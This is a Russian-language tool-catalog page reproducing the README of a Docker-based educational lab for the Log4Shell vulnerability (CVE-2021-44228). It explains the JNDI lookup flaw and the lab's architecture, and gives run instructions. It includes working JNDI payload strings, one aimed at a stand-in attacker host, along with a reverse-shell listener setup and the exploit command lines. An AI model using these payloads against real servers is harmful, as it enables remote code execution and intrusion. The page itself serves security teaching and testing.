Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
EXPLOIT-CVE-2021-44228 — Образовательная лаборатория на основе Docker, демонстрирующая эксплуатацию RCE Log4Shell (CVE-2021-44228) с помощью уязвимого Java-приложения, LDAP-редиректора и автоматизированного скрипта эксплуатации. | Kitploit
Инструменты/GitHubGitHub/joaovicdev/exploit-cve-2021-44228
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHubjoaovicdev/exploit-cve-2021-44228

EXPLOIT-CVE-2021-44228

Образовательная лаборатория на основе Docker, демонстрирующая эксплуатацию RCE Log4Shell (CVE-2021-44228) с помощью уязвимого Java-приложения, LDAP-редиректора и автоматизированного скрипта эксплуатации.

Репозиторий
45 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-44228 — Лаборатория Log4Shell PoC

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Эта лаборатория создана исключительно для образовательных целей и исследований в области безопасности. Весь трафик проходит внутри изолированной сети Docker. Не используйте этот материал в реальных системах или без явного разрешения. Неправомерное использование может быть уголовно наказуемо. Используйте ответственно.


Что такое CVE-2021-44228?

Log4Shell — это критическая уязвимость (CVSS 10.0), обнаруженная в декабре 2021 года в библиотеке логирования Apache Log4j 2, широко используемой в Java-приложениях.

Как возникает уязвимость

Log4j имеет функцию интерполяции выражений: при записи сообщения он вычисляет строки в формате ${...}. Например, ${java:version} заменяется на версию Java во время выполнения.

Проблема заключается в поддержке протокола JNDI (Java Naming and Directory Interface). Когда Log4j встречает выражение вроде:

root@kitploit:~
${jndi:ldap://atacante.com/exploit}

он указывает JVM выполнить LDAP-запрос к серверу атакующего. Сервер отвечает ссылкой на удалённый Java-класс — и JVM , что приводит к .

загружает и выполняет этот класс
удалённому выполнению кода (RCE)

Вектор атаки прост: любое поле, которое логируется сервером (HTTP-заголовки, поля форм, cookies и т.д.), может стать точкой входа для полезной нагрузки.

Затронутые версии

  • Log4j 2.0-beta9 до 2.14.1
  • Исправлено в версии 2.15.0 (и окончательно в 2.17.0)

Уязвимое окружение

Лаборатория имитирует реальное Java-приложение, использующее уязвимые версии.

КомпонентВерсияПочему уязвим
Apache Log4j2.14.1Вычисляет ${jndi:...} без ограничений
JDK1.8.0_181Предшествует патчу 8u191, устанавливающему trustURLCodebase=false
Spring Boot2.5.6Только веб-фреймворк; уязвимость в Log4j

Уязвимая конечная точка

root@kitploit:~
GET http://localhost:8080/log

Следующие заголовки напрямую логируются Log4j — любой из них может быть вектором внедрения:

  • X-Api-Version
  • User-Agent
  • X-Auth-Token

Инфраструктура атакующего (контейнер attacker)

СлужбаПортФункция
marshalsec (LDAP)1389Принимает JNDI-запрос и перенаправляет на HTTP-сервер
Python HTTP сервер8888Отдаёт Exploit.class для JVM жертвы
слушатель netcat9001Принимает соединение обратной оболочки

Как использовать эксплойт

Предварительные требования

  • Установленные Docker и Docker Compose
  • Установленный Node.js (для эксплойта)

1. Запустить полное окружение

root@kitploit:~
docker-compose up --build

Дождитесь появления в логах:

root@kitploit:~
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds

2. Запустить эксплойт

В другом терминале выполните Node.js эксплойт:

root@kitploit:~
node exploit/exploit.js

Ожидаемый вывод:

root@kitploit:~
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target  : http://localhost:8080/log
[*] Header  : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}

[+] Response : 200 OK
[+] Body     : logged

[+] Payload delivered — check the attacker nc listener on port 9001

3. Проверить выполнение

Наблюдайте за терминалом, где выполняется docker-compose. В логах контейнера attacker вы увидите подключение обратной оболочки на порту 9001.

Чтобы подтвердить выполнение touch /tmp/pwned внутри уязвимого приложения:

root@kitploit:~
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned

Пользовательские аргументы (опционально)

root@kitploit:~
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"

Guaxinim | Исследования кибербезопасности

Скачать инструмент